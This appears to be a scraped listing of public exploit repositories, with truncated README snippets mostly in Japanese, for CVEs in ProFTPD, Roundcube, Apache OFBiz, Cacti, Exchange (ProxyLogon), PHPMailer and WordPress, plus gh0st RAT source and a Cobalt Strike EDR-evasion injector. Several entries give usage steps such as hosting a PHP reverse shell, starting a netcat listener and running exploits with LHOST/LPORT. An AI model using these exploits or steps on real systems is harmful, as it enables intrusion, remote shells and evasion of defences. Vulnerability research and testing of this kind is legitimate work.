Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 使い方 1. PHPリバースシェルを作成する 2. 同じディレクトリでシェルをホストするサーバーを起動する python3 -m http.server 3. 任意のローカルポートでnetcatリスナーを起動する例: nc -nlvp 任意のポート 4. 以下に示すエクスプロイトの例を実行する python3 modifiedCVE20153306.py --host リモートホスト --port 通常はポート21 --path /var/www または /var/www/html --shell PHPシェルの名前...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 認証済みリモートコード実行 ⚠️ 免責事項 このリポジトリは教育および研究目的専用です。 すべてのデモは管理されたラボ環境で実施されました。 明示的な許可なしにシステムへの不正テストや悪用は違法かつ非倫理的です。著者はこの情報の誤用について一切の責任を負いません。 📌 Roundcubeとは？ Roundcube...

Ofbiz-RCE

📌 Apache OFBiz RCE Exploit CVE-2024-38856 このPythonスクリプトは、Apache OFBiz バージョン 18.12.15 未満 における Remote Code Execution RCE タイプの脆弱性を、エンドポイント /webtools/control/forgotPassword/ProgramExport への不正アクセスを介して悪用します。 🛠️ 説明 CVE : CVE-2024-38856 タイプ : 不正な認可 → リモートコード実行 コンポーネント : Apache OFBiz 影響を受けるバージョン : 18.12.15...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 このエクスプロイトは、@FredBrave による元のスクリプトを修正したバージョンであり、@arthurcortesr と @alv-david によって改変されました。 使用法/例 python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X 期待される結果 Testing hostid=X, localdataid=XX... + Found working combination: hostid=X,...

CVE-2021-44852

CVE-2021-44852 Biostar RACING GT Evo 2.1.1905.1700 に含まれる BSRCIO64.sys に問題が見つかりました。低整合性プロセスは、ドライバのデバイスオブジェクトを開き、IOCTL を発行して任意の物理メモリ位置への読み取りまたは書き込み（または任意アドレスの呼び出し）を行うことができるため、任意のコードの実行につながります。これは、0x226040、0x226044、および 0x226000 に関連しています。...

CVE-2021-21972

CVE-2021-21972 チェッカー VMware vCenter Server CVE-2021-21972 リモートコード実行の脆弱性 このスクリプトは、以下のPATH「/ui/vropspluginui/rest/services/uploadova」に基づいてCVE-2021-21972の存在を確認します。POSTリクエストを送信し、レスポンスボディ（500）内の「uploadFile」という単語を探します。これは、vCenterが制限なしにPOST経由でファイルを受け付けることができる状態であることを意味します。 手動検査: curl -i -s -k -X $'GET' ...

CVE-2024-27956-RCE

CVE-2024-27956-RCE CVE-2024-27956のPoCです。ValvePress AutomaticプラグインにおけるSQLインジェクションです。このPoCは脆弱性を悪用し、ターゲットにユーザーを作成し、管理者権限を付与します。WordPressで管理者になると、リモートコード実行につながる可能性があります。 使い方 git clone https://github.com/diego-tella/CVE-2024-27956-RCE/ cd CVE-2024-27956-RCE python exploit.py http://target.com ペイロード...

CVE-2016-10033

CVE-2016-10033 – PHPMailer リモートコード実行 📌 説明 このリポジトリには、CVE-2016-10033 の概念実証（PoC）エクスプロイトが含まれています。 PHPMailer バージョン 5.2.18 未満の脆弱性です。 問題は、PHP 組み込みの mail 関数の $additionalparameters 引数が適切に処理されず、攻撃者が sendmail に追加のコマンドラインパラメータを注入できることです。これを悪用して、Web アクセス可能なディレクトリに任意の PHP コードを書き込み、リモートコード実行（RCE） を引き起こす可能性があります...

ProxyLogon

ProxyLogon ProxyLogonは、CVE-2021-26855の正式な総称です。これはMicrosoft Exchange Serverの脆弱性であり、攻撃者が認証をバイパスして管理者になりすますことを可能にします。また、このバグを別の認証後任意ファイル書き込みの脆弱性であるCVE-2021-27065と連鎖させて、コード実行を達成しました。 Python3 用 ProxyLogon usage: sudo python3 proxylogon.py --host=target.com [email protected] sudo python3...

gh0st3.6_src

上传者：flAmingw0rm 很好的 RAT，值得学习。...

CVE-2021-40964

Tiny File Manager = 2.4.6 - リモートコード実行（認証済み） 🚨 エクスプロイトについて これは、CVE-2021-40964 の影響を受ける Tiny File Manager バージョン = 2.4.6 向けの、Bash ベースの認証済み リモートコード実行（RCE） エクスプロイトです。 このスクリプトは以下を利用します： 脆弱なアップロード検証と webroot の開示、 PHP コード実行につながる任意のファイルアップロードの脆弱性。 📌 詳細 エクスプロイトタイトル： Tiny File Manager = 2.4.6 - リモートコード実行（RCE...

CVE-2015-2291

CVE-2015-2291 1 IQVW32.sys 1.3.1.0未満および2 IQVW64.sys 1.3.1.0未満のWindows用Intelイーサネット診断ドライバーは、巧妙に細工されたa 0x80862013、b 0x8086200B、c 0x8086200F、またはd 0x80862007 IOCTL呼び出しを介して、ローカルユーザーがサービス拒否を引き起こしたり、カーネル権限で任意のコードを実行したりすることを可能にします。 Overview このリポジトリには、問題の脆弱性に関する解説記事と、64ビットWindows 7 SP1およびWindows 10...

Zin

バージョン 1.0 😎 Zin 😎 バグバウンティ用のペイロードインジェクター（Go言語製） 機能 複数のペイロードをすべてのパラメータに注入 単一のペイロードをすべてのパラメータに注入 レスポンスを出力フォルダに保存 ステータスコードとレスポンス長を表示 レスポンス内のパターンをgrep可能 非常に高速 セットアップが簡単 インストール $ go get -u github.com/ethicalhackingplayground/Zin 新機能 ✅ レスポンス内のパターンマッチング ✅ ステータスコードのマッチング 引数 | / | ' \ / /| | | | | /||| ||...

Umay

IoTマルウェア類似性解析プラットフォーム デモを見る 目次 プロジェクトについて 現在の機能 はじめに 前提条件 インストール 独自のデータセットを作成する コントリビューション ライセンス プロジェクトについて...

CVE-2024-3121

CVE-2024-3121 - parisneo/lollms におけるリモートコード実行 RCE 発見者: Syed Jan Muhammad Zaidi GitHub: dark-ninja10 CVE ID: CVE-2024-3121 影響を受けるリポジトリ: parisneo/lollms 🧨 脆弱性の概要 lollms フレームワークの createcondaenv 関数に、リモートコード実行 RCE の脆弱性が存在します。この関数は、無害化されていない入力を使ってシステムコマンドを構築するため、攻撃者は任意のコマンドを注入し、ホスト上でコードを実行できるようになります。 🔥...

CVE-2024-49113

LDAP Nightmare 由 Yuki Chen @guhe120 报告的 CVE-2024-49113 漏洞利用程序。这是 Windows 轻量目录访问协议 LDAP 中的一个漏洞。 由 SafeBreach Labs 创建（发布于 2025 年 1 月 1 日）。有关该漏洞的完整技术分析以及我们如何成功利用它的详细信息，请查看博客文章 此处 概述 CVE-2024-49113 是 Windows LDAP 客户端中的一个严重漏洞，据 Microsoft 称，该漏洞允许远程代码执行。此漏洞利用程序通过与目标的 Netlogon 远程协议 NRPC 和 LDAP 客户端进行交互，使目...

CVE-2025-6335

Title: Template injection command execution vulnerability in dedeCMS 5.7 sp2 BUGAuthor: Ewoji Affected Version: dedeCMS 5.7.2 Vendor: Shanghai Zhuozhuo Network Technology Co., LTD Software: dedeCMS Vulnerability Files: /include/dedetag.class.php Description: 1. After install，Log in to the...

spawn

SPAWN - Cobalt Strike BOF 犠牲プロセスを生成し、シェルコードを注入してペイロードを実行するCobalt Strike BOFです。Arbitrary Code Guard（ACG）、BlockDll、PPIDスプーフィングを使用して犠牲プロセスを生成することで、EDR/ユーザーランドフックを回避するように構築されています。 ACGのため、以下の機能に依存するシェルコードはサポートされません。 メモリ権限のRW/RX間の切り替え。 RWXメモリ 上記の機能に依存する生成されたプロセスにシェルコードを注入するには、Hollow BOFプロジェクトを参照してください。...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE エクスプロイト...

CVE-2023-47253

CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 概念実証（POC） 「gridValoresPopHidden」パラメータにPHPコードを入れてURLにアクセスするだけです。 調査 https://www.linkedin.com/in/xvinicius/...